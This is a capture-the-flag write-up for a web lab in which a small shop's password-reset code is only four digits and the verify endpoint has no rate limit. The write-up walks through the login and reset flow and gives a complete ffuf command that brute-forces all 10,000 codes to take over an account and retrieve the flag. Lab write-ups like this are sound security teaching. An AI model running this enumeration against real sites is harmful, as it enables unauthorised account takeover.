Heartwood Outfitters

Heartwood's site was built in a long weekend by a co-founder who reads more about fly-fishing than web security. The reset flow uses a 4-digit numeric code; the verify endpoint has no rate-limit, no captcha, and no lockout — so the 10,000-code space is fully enumerable.

Room Description

Heartwood Outfitters — figure 1

https://dashboard.webverselabs-pro.com/challenges/spare-key

Scenario

Heartwood's site was built in a long weekend by a co-founder who reads more about fly-fishing than web security. The reset flow uses a short numeric code (because the previous one with hex tokens "confused a few customers"). The verify endpoint has no rate-limit, no captcha, and no lockout — so the 10000-code space is fully enumerable.

Objective

A small outdoor-gear brand's customer portal. The forgot-password flow emails you a 4-digit reset code — and the verify endpoint will cheerfully accept as many guesses as you can fire at it.

Initial Analysis

Okay, we have an outdoorsy web application with a couple of endpoints:

Heartwood Outfitters — figure 2

We have several endpoints from the navigation menu and an account endpoint:

  <nav class="nav">
    <div class="container">
      <div class="nav__inner">
        <a href="/" class="nav__brand">
          <span class="nav__brand-mark">H</span>
          <span class="nav__brand-text">
            <span class="nav__brand-name">Heartwood</span>
            <span class="nav__brand-tag">Outfitters · est. 2014</span>
          </span>
        </a>
        <ul class="nav__menu">
          <li><a href="/"  class="nav__link nav__link--active">Home</a></li>
          <li><a href="/shop"  class="nav__link ">Shop</a></li>
          <li><a href="/about" class="nav__link ">Our story</a></li>
          <li><a href="/about#repair" class="nav__link">Repair</a></li>
        </ul>
        <div class="nav__icons">
          <a href="/account/login">Account</a>
          <a href="#" aria-label="Cart">Bag · 0</a>
        </div>
      </div>
    </div>
  </nav>

Finding the bug

The shop endpoint doesn't give us much, as we can't really add things into our bag.

Heartwood Outfitters — figure 3

The abous us page holds information on who the shop creators are as well as e-mail addresses that we might need for tinkering with the login.

Heartwood Outfitters — figure 4

Creating an account is a disabled option so all we have is the login page and the forget password segment:

Heartwood Outfitters — figure 5

We have 3 e-mail addresses from the about page:

[email protected]
[email protected]
[email protected]
Heartwood Outfitters — figure 6

We follow the flow and we end up on this page:

Heartwood Outfitters — figure 7

That seems pretty unreasonable, considering if we do land on the reset code, we have account takeover without knowing the previous password.

Exploitation

Heartwood Outfitters — figure 8

We have the following POST request when we try to reset the password, we could use Burp Intruder or FFUF or cURL or anything to go through the 10000 possible reset codes.

We will go with FFUF:

ffuf -u https://379bcc26-3970-spare-key-76e47.challenges.webverselabs-pro.com/account/reset \
-X POST -H "Content-Type: application/x-www-form-urlencoded" -d "[email protected]&code=FUZZ&password=minatour" -w <(seq -w 0000 9999) -fr "Invalid email or code" -t 50 -v

And we just wait it out until we hit something:

Heartwood Outfitters — figure 9

Since we have sent the request with the correct reset code, we have already set the account password to minatour. Now we just have to login with the credentials:

[email protected]:minatour
Heartwood Outfitters — figure 10

And on the logged in dashboard, we have the flag:

Heartwood Outfitters — figure 11